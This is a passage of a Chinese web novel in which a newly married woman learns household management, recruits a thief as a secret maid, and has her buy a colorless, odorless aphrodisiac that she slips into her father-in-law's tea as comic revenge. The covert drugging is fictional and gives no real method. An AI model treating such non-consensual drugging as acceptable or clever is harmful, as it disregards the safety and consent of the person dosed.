姚戚香虽厌恶邓氏,可她也是从邓氏那里知道,一个女子想要在这世道中安身立命,光知道一些拿捏男人的心思是远远不够的。 男人薄幸,若运气不好攀上一个薄幸又无能的男人,那可真是大大的不幸。 她的母亲是这样,她想,等姚振廷让他的外室进了门,姚氏的家门中又会多出一份的不幸。 因为今日是初学,钟嬷嬷说不必立刻便开始正式学习,要先向她讲讲身为一个当家主母,需要掌握的究竟有哪些东西。 姚戚香本来还打算拿笔记上一记,可是很快她就发现:记不完,根本记不完…… 钟嬷嬷在说完了一大串冗长的授课内容后,最终总结道:“娘子要记住,女子掌管内宅,不仅要对这些明面上的东西融会贯通,更要深谙人性的道理,女子所在的后宅又何尝不是血雨腥风。” 姚戚香深吸了口气,忍不住叹出了声:“这跟做官有什么区别?” 钟嬷嬷朝她瞥来,正要说话,就见她又自顾说了下半句:“哦,那还真是大有区别,男人做官是青云之志,是匡扶社稷,是忠君报国,女人做到顶天了,也不过被说一句贤良淑德,若是败了,那便是争风吃醋,是妒妇,是不识大体,是最毒妇人心。” 钟嬷嬷愣了愣,很快回过神来,严厉道:“我说话的时候,娘子不要随意插嘴,这若是在宫里,娘子不慎插嘴了贵人的话,可是要掌嘴的。” 姚戚香不以为意,当那皇宫是什么所在,她还能进宫里去?还能和宫里的贵人娘娘说话?远到天边去的事,远到她这辈子被土埋了半截身子都遇不上的事,这钟嬷嬷也能拿来教训人。 不过她到底是 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姚戚香如蒙大赦,激动得都要哭出来了,从没有觉得她那个糟心的婆母如此顺眼可人过,可她还没来得及回一句话,就听钟嬷嬷直接给人驳了去。 “你是哪个院的女使?是谁教你用这种语气跟主子说话的?又是谁教你,在明知主子有事要做的前提下,贸然上前打断?你叫什么名字?可知罪吗?”钟嬷嬷话说得平静,可一双眼睛却泛着阴仄的冷光,宫里历练了几十年出来的老人,其气势哪里是寻常女使能够顶得住的? 春竹被吓得扑通跪在地上,忙道:“嬷嬷恕罪,实在是主母有命,要姚娘子日日去晨昏定省,不得有误。” “我的话,你只答了一半。”钟嬷嬷冷声,“来人,给她掌嘴。” 姚戚香不由得睁大眼睛,真打啊? 然后她身后一直无声站着,这一下午都像个假人似的茗玉快步走上前去,一把抓住春竹的胳膊,拎小鸡似的把人从地上提起来,啪啪就给了两个大耳刮子。 只被打了两下的春竹,双颊飞速肿起,嘴角还渗出了一丝血迹。 姚戚香咋舌,看了看茗玉的手——好大的力气! 完了,这嬷嬷真打人! 姚戚香不由得摸了下自己的脸。 春竹疼得哭了,哆嗦着忙道:“奴婢春竹,是、是主母派来伺候姚娘子的,奴婢知错了,嬷嬷,奴婢真的知错了!” 钟嬷嬷并不看她,甚至背对着她,冷淡道:“中宫的娘娘,尚且只需宫妃晨时拜见一次,太后更是仁慈,夏冬免了嫔妃拜见,其余更是只需月中拜见一次,你们孟家的主母,这阵仗摆得比宫里还要大不成?” “不敢!不敢!”春竹连声,“奴婢这就去禀报主母。” 春竹逃也似的走了,姚戚香看着她的背影,好似还在不住抹眼泪。 而那边,钟嬷嬷缓缓看来,生平第一次,姚戚香有些怵了。 对方实在是块太硬的骨头,她根本没地方下嘴啊…… 谁承想,钟嬷嬷那边教训完了人,对她反倒和颜悦色起来:“我看娘子今日也累了,便到底为止吧,明日我再来。” 姚戚香松了口气,只觉得谢天谢地。 “不过老身有个任务,想要姚娘子去做。” “什么任务?”姚戚香一怔,还有作业? “孟司使在京中有数处铺子房产,我给娘子几天时间,请娘子将这些铺子的年头、买卖、收支情况都打听清楚,过几日授课时用得上。” 唉…… 姚戚香点头答应:“我知道了,嬷嬷慢走。” 此时,云栖堂中,常秋兰怒得拍了拍桌子:“什么?她真这样说?” “是……”春竹欲哭无泪,“姚娘子已经站了一下午了,连口水都没给喝,钟嬷嬷打了奴婢两巴掌,让奴婢过来回话……” 常秋兰深吸了几口气,可纵是怒发冲冠,她发现她也奈何不了姓钟的。 半晌,她道:“也罢,今后晚上就免了姚氏过来,钟奚那个老贼妇,想必也不会轻放了她。” 18、第18章 吃过晚饭,姚戚香一心都在想着等孟扶危回来,她要如何在他面前摆摆冷脸,可等她沐洗完毕后,茗玉进来说话:“娘子,公子晚上不回。” 去青楼了? 姚戚香想,也可能有什么别的公事。 “嗯,知道了。”姚戚香道,没想到脸色根本没摆成,也罢,她还是操心一下自己的事。 “茗玉,孟扶危……在京中的那些私产之类的,你可熟悉吗?”姚戚香问,她其实更想问的是,这些个铺子的掌柜有没有什么性子不好相与的,毕竟做生意这方面的事,她是真心不懂,万一别人真搪塞她,她也看不出来,也听不懂。 茗玉道:“奴婢都知道地点,也认得人,娘子放心,公子在京中的产业要么是宫里赏赐下来的,要么是公子自己置办的,不论是生意还是人,选得都极为可靠,不会让娘子为难的。” 茗玉把她想问的都答了,姚戚香有些讪讪,孟扶危身边这个女使怎么好似会读心一样,她已不是一次两次被猜中心思了。 “那……等明日我去婆母那儿请完了安,咱们出去逛逛?” 茗玉:“好,之前娘子在几家布行定下的衣服,也差不多可以取回了。” “嗯。”姚戚香点头,明日还要早起,她躺了下来,“我先睡了。” 翌日早,姚戚香去云栖堂请完了安,她装得温顺服帖,谨小慎微,对常氏一口一个婆母句句恭顺,叫常氏挑不出半处错来,没一会儿就打发她回去了。 姚戚香坐上茗玉备下的马车,戴上纱笠,看着车夫位置上茗玉孤零零的身影,忍不住问:“咱们……不用带个家丁什么的?” 就她们两个去,有点不太平吧……万一起了争执…… 茗玉却一脸笃定:“娘子放心,这太平盛世,不会有什么乱子的。” “那、那走吧。”姚戚香放下了车帘。 马车辘辘,行驶途中,姚戚香不止一次掀开了车帘往外瞧,马车先从小路走,等绕过了孟府周围才驶上了一条宽敞大道。 她们首先去的是一家珠宝铺,姚戚香刚进门,话都还没说一句呢,就被掌柜笑眯眯地奉上了一大盒珠宝。 “方才伙计说东家来了,我还以为他闲扯呢,没想到东家您真来了,这是一点薄礼,不成敬意。” 姚戚香看着掌柜白皙圆润的脸,掀开盒子往里面看了眼,蓝蓝绿绿的,瞧着倒像是上好的货色。 这算是……贿赂? “拿账本吧。”姚戚香道,她看过一眼便合上盖子,并未对珠宝表现出半分在意,心里却有些没底。 账本她也看不懂,一会儿她问什么呢? 掌柜连忙应下,折身去取,茗玉适时上前道:“娘子不必紧张,只需随意看看便好,他们是否诚心,经营是否妥当,是否有蒙骗主家之嫌,这些都不要紧,娘子只作了解即可。” 很快,姚戚香被请到了内室上座,奉上了香茶,掌柜亲自取来了账册让姚戚香过目。 被茗玉那么一说,姚戚香还真镇定了下来,她翻开账目,一页页看着,什么也不问,一句话也不说,看完便又将账本给掌柜还了回去。 账本厚厚一沓,姚戚香不可能每一页都认真看过,只大略翻了翻,看大致有哪些进项和支出,别的她也不大懂。 不过,账本她不懂,但人她看得懂。 姚戚香放下了账本,抬眼看向掌柜。 “听说你姓周?今年三十五岁,家中还有什么人?”姚戚香问。 周掌柜道:“除了一个老母亲,没别的人了。” “也就是说,你尚未成家,膝下也无子女?” 周掌柜有些纳闷,不知她问这些做什么,但也老实回答:“是,我并无妻儿子女。” 借着周掌柜回话的空挡,姚戚香在仔仔细细观察着他,她看了一会儿,垂下眼道:“周掌柜似乎惯于流连烟花之地?” 被这么一问,周掌柜明显一愣,迟滞了片刻才道:“这……东家何出此言?” 姚戚香:“这里只有你我,以及我的贴身女使,想我也不必瞒你,周掌柜唇色发白,眼下浮肿,肾气阳虚之相,久之伤身,易损根基,周掌柜还是早些去看看大夫吧。” “啊、啊……”周掌柜面色红白交映,低着头道,“多、多谢东家关怀。” “我也不是有意要刁难周掌柜,只是我恰好有些问题想要向您请教,还望周掌柜能解答一二。” 周掌柜轻咳了一声,道:“东家尽管问,只要是这铺子里面的,就没有我不清楚的。” “我不是要问这个。”姚戚香的指尖轻轻敲击着杯沿,“只是想问,周掌柜既然是青楼常客,可能向我介绍一二京中大大小小的青楼?还请你务必详细,只需介绍上乘些的即可。” 周掌柜下意识朝茗玉看了一眼,只得详细介绍起来,在他所说的大大小小的青楼之中,主要点出了四家——仙月坊,赖音阁,迷迷坊和胡瘦楼。 其中仙月坊最是历史悠久,赖音阁是个外来人开的,异域女子很多,迷迷坊花样多,新奇,胡瘦楼中规中矩,胜在价廉。 姚戚香闻言点了点头,慢慢向后靠上椅背。 那么,她的小叔子,她那婆母的好儿子,会常去哪家呢?孟氏是大族,瞧常氏也并不缺钱,胡瘦楼价格低廉,孟元德看上去心高气傲,应该不会去这里。 至于仙月坊……既是历史悠久,那说明新意不足,周掌柜说,里面的客人年长者多,也许孟元德不会喜欢。何况,孟扶危还老去,他与孟扶危应该不大对付,总会避着吧? 那么就剩下两家,迷迷坊和赖音阁。 姚戚香想了想,又问:“周掌柜可知,哪家的姑娘近期爱用牡丹吗?” 周掌柜道:“牡丹价贵,不易养活,赖音阁喜欢用西域的香料,胡瘦楼似乎也不讲究这些,仙月坊很讲究,里面的每个姑娘所用的香料都是不同的,至于这迷迷坊,他们花样变得快,我也不太清楚。” “多谢周掌柜。”姚戚香大致有了个方向,只差最后详细一探了。 此事茗玉几乎全程在场,她能找的似乎也只有茗玉。 “走吧。”姚戚香离开了珠宝铺,问茗玉道,“下一个咱们去哪儿?” “几家盐引铺,在城西那边的……” “给我站住!该死的女贼!我看你往哪儿跑!” 就在茗玉说着话时,一个男人的暴喝突然响起。 姚戚香循声望了过去,只见一个穿着灰色衣裳的蒙面女子怀里紧紧抱着一个包袱在前面跑,后面有一个男人带着几个身手矫健的家丁追她。 这女子身手不差,甚至个子也不算小,甩开那几人一大截,健步如飞,在她跑动期间,包袱里的东西有些许露出,姚戚香看见里面装的都是货真价值的金银珠宝。 女贼? 她的目光下意识追着此人,心想以她的速度,那些人恐怕是追不上她了。 正这样想着,没想到前面正撞上巡防的官兵,有三五人,皆配着刀。 女子的身形明显一滞,紧接着身后追她的男人便大喊:“抓住她!她是贼!” 巡防的几人闻言纷纷拔出了腰间的佩刀,立刻拦住了去路。 女贼被围困在了中间。 而姚戚香心中,突然升起一个念头——正经的奴婢她买不到,不正经的…… “娘子,我们快上马车吧。”茗玉出声催促。 姚戚香转过来看她,问:“茗玉,你驾车技术如何?” 茗玉含蓄道:“尚可。” 姚戚香:“倘若马惊了呢?” 茗玉:? 姚戚香拉茗玉上了马车,然后毫不犹豫拔下头上的簪子,朝着马腚狠狠来了一下,马匹受惊嘶叫,当即在街上狂奔起来。 由于方才抓捕女贼,街上的行人本就退避三舍,反倒方便了她们行事,受惊的马匹在茗玉的控制下朝着巡防的官兵狂奔而去,荡起扬尘滚滚。 姚戚香在马车内紧紧抓住桌子,掀起一角车帘对外面迟滞的女贼道:“上来!” 此女没有丝毫的犹豫,凭借良好的身手快速攀上了马车,而茗玉则在前面喊道:“前面的人快让开!马受惊了!” 这狂奔的马匹连带着一驾马车看上去格外凶险,巡防的人纷纷让出了路,任由马车绝尘而去。 姚戚香松了口气,她并不知道自己这个选择算不算正确,可孤注一掷本来就是她的行事风格。 马车不知跑了多久,在茗玉的控制下渐渐稳住了速度,而身旁的女贼也放松似的将偷来的包裹随意一丢,低沉的声音道了声:“多谢。” 姚戚香看向包裹,金银珠宝、钗环首饰具有,像是从一户人家里偷出来的。 “你身手不错,经常偷吗?”姚戚香问。 女贼淡淡扫她一眼,有气无力道:“半年不开张,开张吃半年。” 有意思。 姚戚香身手按住她的包裹,出声试探道:“若是我能让你今后都吃穿不愁,你可愿意跟着我?” 女贼拧起眉,露出明显的疑惑神情:“你想干什么?” 姚戚香仔细观察着她的神情,发现她好像没有特别排斥的样子,进一步道:“……我是京中大族孟家的新妇,爹娘弃我于不顾,亲妹抢走我筹谋多年的婚事,婆母打压我,夫君厌弃我,但好在手里还有点小钱,怎么样?跟着我,随我一起光复大业,助我拿下孟府主母之位,到时候我封你做京城贼王,给你塞三五个年轻俊俏小郎君!” 女贼:“……” 女贼考虑了起来。 车外驾驶座上的茗玉,忍不住勾了勾嘴角。 天色稍晚,姚戚香好说歹说,终于将拐来的女贼连拖带拽带回了府,她匆忙拾掇了一番,命茗玉给女贼好好打扮一番,自己匆匆忙忙出门见钟嬷嬷。 一想到今天又要站一下午,姚戚香心中叫苦不迭。 午后稍迟,钟嬷嬷准时来到松风堂。 姚戚香已经站在院中等了,她起得早,中午又没能来得及睡一会儿,此时正眼神涣散地看着来人,撑着力气来了句:“嬷嬷好。” “嗯。”钟嬷嬷看着她,满意地点点头,“听说娘子今日出去了?” “是,去看了家珠宝铺子,不过也只看了这一家。” 钟嬷嬷道:“那娘子可能说出在珠宝铺里都看到些什么?” 姚戚香回忆着账本上的内容:“有店里进货的款式,秋冬多金银,红珊瑚、红玛瑙,翡翠,春夏多珍珠,玉石,不过金银的购入量也没有减少。交易珠宝的斤两,买家的名姓和地址,还有……” 她想不起来了,只能道:“还看出那周掌柜喜欢去青楼。” 钟嬷嬷问:“娘子如何看出?” 姚戚香道:“他颈侧那边的领子上有一处口脂的痕迹,虽不大明显,但还是不难辨认,且他自己说,他并无娶妻的。” 钟嬷嬷点了点头,道:“好,那娘子明日再去巡铺时,要着重看看账本之外的东西,比如仓库可有被人精心打理,东西可有积压落灰,有没有存放不妥当之处,平白造成了损失……” 姚戚香怏怏点头答应。 而后,钟嬷嬷道:“娘子今日也累了,今日便如此吧。” 说完,她竟是转身要走。 姚戚香一愣,问:“今儿不站规矩了?” 钟嬷嬷回过身,道:“老身教娘子的是宫里娘娘们的仪礼,但娘子说到底不是宫里的娘娘,这些东西看得过去就行了,不必求精。” 钟嬷嬷的脸还是那一张脸,她冷淡着表情,神情严肃,可姚戚香突然就觉得她可亲了不少。 一个激灵,姚戚香清醒了,她高兴道:“多谢嬷嬷!” 太好了!她可以回去睡觉了! 姚戚香送走了钟奚,二话不说就回屋躺下了,闷头便睡。 殊不知钟嬷嬷离了后院这边,去了前面的书房。 孟扶危刚从外面回来不久,正换了朝服,让天禄备水沐洗,远远便瞧见钟嬷嬷朝这边走来。 “孟大人。”钟嬷嬷进了门,微微一礼,口吻却并不疏离,“昨夜老身来找您,云韬说您不在。” 他颀长的身影立在几案之前,身上穿着雪白的中衣,平素冷沉的孟司使,人前不苟言笑的太傅,此刻更像是温润如玉的浊世佳公子,矜贵之态早已刻入骨髓。 他放缓了语气开口:“我昨夜不在府上,她学得如何?” 钟嬷嬷眼中带了丝笑意:“姚娘子是聪慧之人,很会识人断人,只是距离一个合格的京城闺秀,亦或是贵妇,实在是相去甚远。昨天下午刚学过了礼仪规矩,勉强算是过关,只不过贵妇会的那些本事,插花、茶道、诗词、女红,她怕是一个不会。” 几乎没有犹豫,孟扶危开口:“这些东西不必她学,也不必她会,但诗词文章,经营管账的本事,她一定要会。尽可能教她些实用的,至于沾了风雅的东西,一概不必她会。” 钟嬷嬷愣了愣,迟疑着开口:“女红也不用吗?” “嗯。”孟扶危颔首,“她幼时开蒙很好,所以天资聪颖,但后来欠下良多,她而今掌握的都是能够保命的东西,便往实用上再拓展些,女子善经营谋算不是坏事。至于女红一类,学起来太费精力,又无用处,便都不必了。” 钟嬷嬷默了默,回道:“老身知道了。” “不必着急,慢慢教她,尽可能叫她轻松些。”孟扶危补充,“她紧张惯了,总不能到我这里来,还让她紧张着。” 钟嬷嬷忽然明白了:“大人眼下叫老身教习娘子,除却要娘子学些东西,也是替娘子挡着云栖堂吧?” 孟扶危默了瞬,垂下的睫毛宛如鸦羽,在俊美的容颜上投下一片浅浅的阴霾来,垂顺的发丝散在身后,轻慢懒散的姿态,叫人觉得这府中发生的一切于他皆是游刃有余。 他道:“云栖堂的事,她自己解决得了。”【你现在阅读的是 】 19、第19章 睡了一觉之后,姚戚香精神好了不少,她醒过来伸了个懒腰,目光最先对上一张无波无澜的眼睛,随后瞧见一张冷峭的脸。 “……女、女贼?”姚戚香不确信地问,这女子穿男装和女装的区别也太大了些,她皮肤原来这么白的,之前那是故意涂黑的? 女子开口:“我叫红绡。” “噢。”姚戚香坐直了身子,看着红绡身上这件女使的衣服思忖片刻,摇了摇头,“不行,我觉得你还是换回之前的模样去,你这个样子实在有些惹眼。” 红绡生得不算极美,可她的五官深邃锋利,极容易给人留下深刻的印象。 这样一来,姚戚香选她的初衷就白费了,还是像之前那样打扮好,方便行事。 “真的?”红绡扯了扯身上的裙子,“这玩意确实不好穿,那我就穿我之前那套?” “嗯。”姚戚香点头,“后面我再让人悄悄给你多做几件换洗,你的衣服随你喜欢穿什么便穿什么,只是不要太惹眼,还有一点,我想你做我私底下的贴身女使,而非明面上的,最好别人都不知道你的存在。” 红绡:“可刚刚那个……” “茗玉她知道就知道了。”姚戚香道,茗玉是孟扶危的人,她既知晓,那孟扶危那边也瞒不住,最要紧的不是孟扶危,是云栖堂的人,甚至是姚家的人。 “不要再叫松风堂以外的人知晓便好,因为我想请你帮我做几件隐秘之事,一定要保密,事成之后,我会给你一笔不菲的佣金。” 红绡飞快换着装束,把自己脑袋上扎的双髻拆了,束成马尾,一边换衣一边问:“直说吧,你想让我偷什么?” “你怎么知道我要你去偷东西?”姚戚香意外。 红绡一双眼睛看了过来,“不偷,你会招揽我一个贼?” “哎呀,不偷。”姚戚香拿出一包碎银来,揣进红绡怀里,“是买,偷偷地买。” 红绡掂了掂手里的银子,足足有五十两左右,她问:“你要买什么?” “你呀,化妆成男子,去迷迷坊给我买些……”姚戚香微微踮脚,在红绡身边耳语,后者则是微微睁大双目。 “你男人不行?”红绡直截了当。 “哎呀!说什么呢!”姚戚香突然一臊,她也是闺阁出身,有些话说了也就说了,但当真的做起来,还是有些抹不开面的,“他很行!但这东西我也要……一定要记住我说的话,就要那种,效力轻的,无色无味的,难以察觉的!多买点!” “……哦。”红绡应了。 “还有一事,你去的时候,帮我盯一个人,摸出此人出入青楼的频率和喜好来,这对我大有用处!” 姚戚香将想做的事都对红绡一一交代了下去,她其实也知道她不能盲目信任一个刚认识的女贼,可她实在无人可选,茗玉勉强可以,但云栖堂那边知晓茗玉的脸,而且茗玉要出入孟府,也不是那么便宜的。 红绡身手不错,做这些事应该不在话下,只要她付给她的佣金够高,应该不会出什么岔子。 再不济,她手里也算是攥着红绡的把柄。 “娘子。”茗玉的声音在门外响起,“公子在书房等您用饭。” “知道了。”姚戚香起身,看来是孟扶危回来了。 - 在姚戚香熟睡的这段时间里,茗玉去见了趟孟扶危,将近日发生的事捡要紧了说了。 “青楼?”孟扶危一边对照公文检查太子功课,一边听着她的禀报,子夜般的双眸噙着深意。 她打听孟元德爱去的青楼要做什么? 须臾,孟扶危了然,还能做什么,她素来就是这个性子,不想去解决问题的时候,就会去解决出问题的人。 “嗯,知道了。”他修长的手指握着朱笔,在公文旁写下批注的字,这些明日一早都要交由太子看过,“继续。” 于是茗玉从巡铺子,说到女贼,说起姚戚香用簪子刺马时,孟扶危的笔势明显一凝,可很快,茗玉又说到了姚戚香招揽红绡时说的话。 “夫君厌弃?”孟扶危直起了身,他向来冷寂的神情中闪过一丝茫然来,他的表现……让她觉得他厌弃她吗? “属下觉得……娘子应该也只是随口说说,并未认真。”茗玉斟酌着道。 孟扶危没听进去。 他执着笔凝滞了一瞬,又缓缓落下,心中在想——是青楼的事。 或许,青楼的事她始终在意。 “公子,还有一事……属下不知当不当讲。”茗玉的神色有些尴尬。 孟扶危没有看她,道:“讲。” “……”茗玉深吸了口气,“娘子……让红绡去买了催情的药。” 孟扶危猛地掀眸,听茗玉吐出后话:“今晚……怕是就能送到了。” 待茗玉离开之后,孟扶危似是还在出神,他缓缓放下了笔,又慢慢合上了书,半晌,才开口吩咐:“天禄,备水。” “……啊?”天禄疑惑,“您刚刚不是才洗了一遍吗?” 孟扶危重复:“备水。” - 姚戚香来到书房这边的偏厅,她这两日发现,好像只要孟扶危在府上,就一定会找她一起吃饭,这也算一种展示夫妻和睦的方法吧。 进屋后,姚戚香看到了孟扶危,视线只在他身上停顿了一瞬便很快离开了。 相处多日,姚戚香不得不承认,她这便宜夫君这张脸实在是有些招人,明明总是一副冷淡疏离的模样,生在谁的脸上都是讨嫌,可偏偏孟扶危……反而更多了些不近凡尘的味道。 还是不要多看的好,免得以后惦记了。 天气慢慢热起来了,菜色也会偏清淡些,再配上几道果品,吃起来很是爽口。 姚戚香也不知道要跟他说些什么,便只是低头吃饭,过了一会儿,听孟扶危道:“赵家的宴席,我陪你去。” 姚戚香这才想起来,后日便是赵家设宴,她还没想好究竟是去还是不去,现下既然孟扶危这么说了,那就去吧。 “嗯。”姚戚香道,“我会跟钟嬷嬷多问的,不给你添麻烦。” 她说完这句,孟扶危便放下了筷子,姚戚香下意识抬眸向他看去。 “我并不在意这些。”他道。 姚戚香愣了愣,随即点了点头,也是,她就算惹了什么麻烦,孟扶危大约也懒得搭理她。 她还想再吃些,便听见孟扶危又道:“你我既是夫妻,自然便荣辱与共,你不必事事分清。” 可我们以后还要和离的呀! 姚戚香理所应当地想,但是这句话她没有说出来,毕竟眼下孟扶危对她的态度直接关系到她在孟家过得如何,她最好还是不要说这种太见外的话。 她还想再来几筷子,今天晚餐的茄子味道非常不错,她还没吃饱呢!可姚戚香总觉得坐在她对面的孟扶危此时正目光如炬地看着她,弄得她不自在极了,索性放下了筷子。 “那……我先去沐浴。”姚戚香放下了筷子。 姚戚香觉得,她与孟扶危的关系有些古怪,她能够感觉到,孟扶危其实并不讨厌她,甚至还可以说,有向她示好的意思,方才饭桌上的那一番话,应该就是在对她示好吧? 可一来,姚戚香觉得他实在是没这个必要,二来,那日回门,孟扶危分明是不喜姚家的。 不喜欢姚家,却又不讨厌她,这是什么样的道理? 就在姚戚香泡热水澡时,窗户吱呀一声响,红绡翻了进来,然后将一个红色的小罐子递到姚戚香面前。 “这是我让你买的药?”姚戚香问。 “嗯,贵极了。”红绡道,“五十两,就这些。” 姚戚香睁大眼睛,这东西居然这么贵!? “是那种无色无味,不易叫人察觉的吗?也没有任何副作用?”姚戚香跟她确认。 红绡:“放心,这是最好的药。” 姚戚香放心了,贵就贵点吧,她花钱买个清净。 “那卖药的有没有跟你说,用量是多少?”姚戚香飞快洗完了澡从浴桶中起身,她已经迫不及待要试试了。 红绡冷着脸跟她比划:“一次放这么多,怡情。” “这么多,有力。” “这么多,势如猛虎。” 姚戚香:“……” 倒也不必如此形容。 但总归是个好东西了! 她穿好了衣服,将药罐塞入袖中,跟红绡道了谢,急忙回了屋,打算跟孟扶危说一声。 然而当姚戚香走进屋里时,只见孟扶危已散了发坐在床边,松着领口露出结实的前胸来,可又是正襟危坐。 姚戚香愣了一下,不知怎的,她似乎从孟扶危身上瞧见些许紧张。 “那个……”姚戚香走进桌边,斟酌着要如何开口,顺便提起桌上的茶壶,给孟扶危倒了杯水,然后递了过去。 孟扶危竟没有第一时间接,他分明在看着她手中的杯子了,却又像是出了神在想别的似的,足足停顿了一个眨眼的时间,才伸手接过,然后一饮而尽。 水温有些高,可孟扶危觉得,好似是自己的体温更高,连带着后背和腰腹都一同热了起来…… 姚戚香向他靠近,轻声:“这会儿天色尚早,不如我……我想……” “嗯。”他答应了。 姚戚香诧异,他早就知道她要问什么?不至于吧? 姚戚香摩挲了一下手指,忙道:“那我先走了,晚些时候再回来。” 她说完正要转身,却见孟扶危伸手扯住了她的袖子,她心里一惊,条件反射将袖子猛地拽了回来——可别把里面的药弄出来了! 见到她的举动,孟扶危一顿。 姚戚香连忙解释:“我…我刚刚被吓了一跳。” “你要去哪儿?”孟扶危问她。 “我自然是去……拜见一下婆母,突然有些想她。”姚戚香这句话说得脸不红心不跳。 可她看见孟扶危明显一怔,紧接着,他的双眸好似有些湿润,分明表情没有什么变化,可他整个人就突然有些……可怜了起来。 “你的水,我已经喝了。”他说。 姚戚香大为不解,表情茫然,所以呢?因为她让孟扶危喝了杯水,孟扶危要跟她圆房? 她似乎从孟扶危身上窥见了一丝属于这方面的信号…… 这、这不行,眼下她还……姚戚香找不到理由拒绝。 也许是姚戚香脸上的不解太过明显,孟扶危意识到了什么,他缓缓开口:“知道了,你去吧。” 不是给他用的…… 为什么?【你现在阅读的是 】 20、第20章 天色刚刚擦黑,姚戚香在去往云栖堂的路上心事重重。 她觉得今晚孟扶危有些奇怪,但又说不上哪里奇怪,就像是……之前,对她来讲,孟扶危便只是孟扶危,他是陛下钦点的三司使,是太子太傅,是她名义上的夫君,可刚刚孟扶危坐在床上看着她的那一瞬间,这种感觉好像短暂地消失了。 孟扶危变成了一个活在她身边的人…… 她第一次在孟扶危脸上看到了除了冷淡之外的模样,他那会儿在想什么呢? 转眼云栖堂到了,姚戚香眨眼将孟扶危抛在了脑后。 “我来求见婆母。”姚戚香递话给门外的女使。 那女使看了她一眼,冷淡地回复:“主母已在屋里歇下了,主君也在。” 姚戚香没有气馁,拉着女使的手道:“是婆母亲叫我晨昏定省的,昨日没来已经很是歉疚了,怎好今日再不来?正好,连公爹也一同拜见了。” 女使被她缠得没有办法,只好进去禀报。 常氏坐在屋内,听见姚戚香过来了还有些诧异,这个时间,她已差不多该准备就寝了,本是不想见她的,可转念一想,难道是她交代姚戚香的事有了什么眉目或者岔子?于是又叫女使叫她进来。 “婆母。”姚戚香进了屋,规规矩矩行礼,“儿媳没有打扰您吧?” 常氏淡淡瞥她一眼,问:“你倒是精力十足。” 姚戚香听出她话里的意思,笑道:“今日钟嬷嬷有些事,离开得略早了些,儿媳这才有时间过来。” 她一边说话,一边靠近桌子给常氏倒了杯热茶,道:“儿媳之所以这会儿过来,是想说婆母交代我做的事,已略有了些眉目,儿媳喜不自胜,想快些来禀报婆母。” 常氏道:“什么眉目?” “乡试考官中有一位姓郑的学究,虽已近乎赋闲,没什么实权,可他却是其他四位考官的老师,说出的话举足轻重,只要他对二郎的印象好,那区区一个乡试又算得了什么呢。” 常氏略皱了下眉,随后道:“事情促成之后,你再禀报于我。” “是!”姚戚香望了眼里屋,问,“公爹呢?儿媳贸然前来,会否打扰?” 常氏道:“只要你一心为我做事,孟府自然少不了你的好处,行了,回去吧。” “是,儿媳告退。”姚戚香出了门。 她离开没有一会儿,孟祁柏便从后面走出,沉着脸道:“她来做什么?” 常氏冷笑一声:“沉不住气罢了,稍有些动静便要邀功似的找来,到底是小门户出身,榆木脑袋。” 孟祁柏看了眼姚戚香离去的方向,没再说话,往屋里去了。 常氏抿了口茶,也回屋安置。 这一夜,孟祁柏起了次夜,后来就没睡成。 而翌日清早,姚戚香早早醒了,她慢条斯理拾掇了一番,卡着点前往云栖堂,而后,云栖堂的女使告诉她:“主母今日身子抱恙,还没起,姚娘子先回吧。” 姚戚香忙问:“婆母怎么了?身为儿媳我理应进去看看才是。” “就是普通的头疼脑热,没什么大碍,不劳烦娘子了。” 姚戚香“哦”了一声,转身走了。 她缓慢了理了下发鬓,在转身之后双眼中多了丝耐人寻味的笑意——那怎么不能有个头疼脑热呢?昨夜她在那茶水中,放的可是势如猛虎的量。 她早就从下人那儿听说过,她那公爹每晚必起一回夜,回后必要喝一盏水。 回去睡回笼觉吧。 转眼到了赵家开宴这日,孟扶危回来得早,毕竟是去赴宴,姚戚香从前些日子新做的衣服里挑了一件略庄重些的穿上了,让茗玉看着随意给她装点了些简单的珠翠,便乘车出发了。 马车里安静得很,姚戚香这会儿正精神着,没有睡觉的打算,忍不住朝孟扶危的方向看了一眼——这两日,孟扶危都没来她房里。 具体地说,是那晚她去了趟云栖堂回去后,孟扶危便走了,第二日晚上也没来,姚戚香实在有些猜不出,那天晚上孟扶危到底是什么意思。 但又没瞧出他有生气的样子。 对于孟扶危这个人,姚戚香向来是猜不透的,她没有纠结太久,在马车停在赵家门前后便随孟扶危下了马车。 门口有专人将她们引进了门,姚戚香被引往女席,孟扶危被引往男席,两人走到岔路,将要分散时孟扶危开口:“有事就来寻我。” “知道了。”姚戚香嘴上答应着,一边心里想她还能因为什么事去找孟扶危呢? 能自己解决的用不着他,自己解决不了的孟扶危大约也不会向着她。 两人各自去了各自的席面,等姚戚香到的时候,一张流水席上的人近乎坐满了,原本热热闹闹的席面,因为她的出现,突然安静下来,寂静无声了。 这便体现出了高嫁的好处,孟扶危位至三司使,颇得圣心,又兼任太子太傅,这一桌子的人里面,恐怕也找不出一个夫家官职能压过孟扶危的,所以她既不必惶恐,也不必自我介绍,更不必向谁行礼以免规矩错漏叫人拿住了把柄,赵家人既请了她来,便不能将她放到一边晾着。 姚戚香上前走了两步,她正准备随意寻一个空位坐下,便有一个年轻女子起身,亲昵地挽住了她的臂弯。 “孟夫人来了,早先就在京中听说了你的名号,却又听闻你不常出门,今日能够见你一面真是太好了。” 姚戚香忍不住看向这个同她攀谈的女子,年岁应该比她稍微大些,生得明媚,肤色很是白皙,身上穿着浅鹅黄色的薄衫,绣着竹影,看上去清素干净,令人眼前一亮。 她看着这女子带笑的表情并不似作假,不免有些奇怪,斟酌开口:“我的确不常出门,所以认识的人不多,不知姐姐是?” 女子笑着拉她在自己身边坐下,道:“孟夫人叫我一句姐姐可是折煞我了,我夫君是孙家七郎,我叫郑瑶。” 见姚戚香神色还有些恍惚,郑瑶进一步解释:“我公爹是怀化将军,孙家一门,都是武将。” “原来如此。”姚戚香这可真是两眼一摸黑,她对京中的文官所知都只是个大概,武官就更不了解了。 她入了席,身边的郑瑶给她依次介绍了身边的人,姚戚香俱点了点头算是认识,此时此刻,赵家主母马氏来姗姗来迟,望着诸位,尤其望向姚戚香的方向,笑道:“诸位娘子莫怪,我那小女儿又发了阵脾气,害我来迟了。” 此话一出,席面上或多或少的人都看向了姚戚香,谁人不知?这赵家小姐前些日子寻死觅活,便是因为孟司使娶了这个姚氏? 姚戚香垂眸,轻轻抿了一口茶,在马氏将话头落到她身上之前,提先一步离席了。 在尚未摸清这些人的脾性与势力之前,姚戚香并不想挑起争端,何况她那日答应了孟扶危,并不会给他惹麻烦,这些都是京城贵妇,她算是一个新来的,初来乍到便浑身是刺,容易犯了众怒。 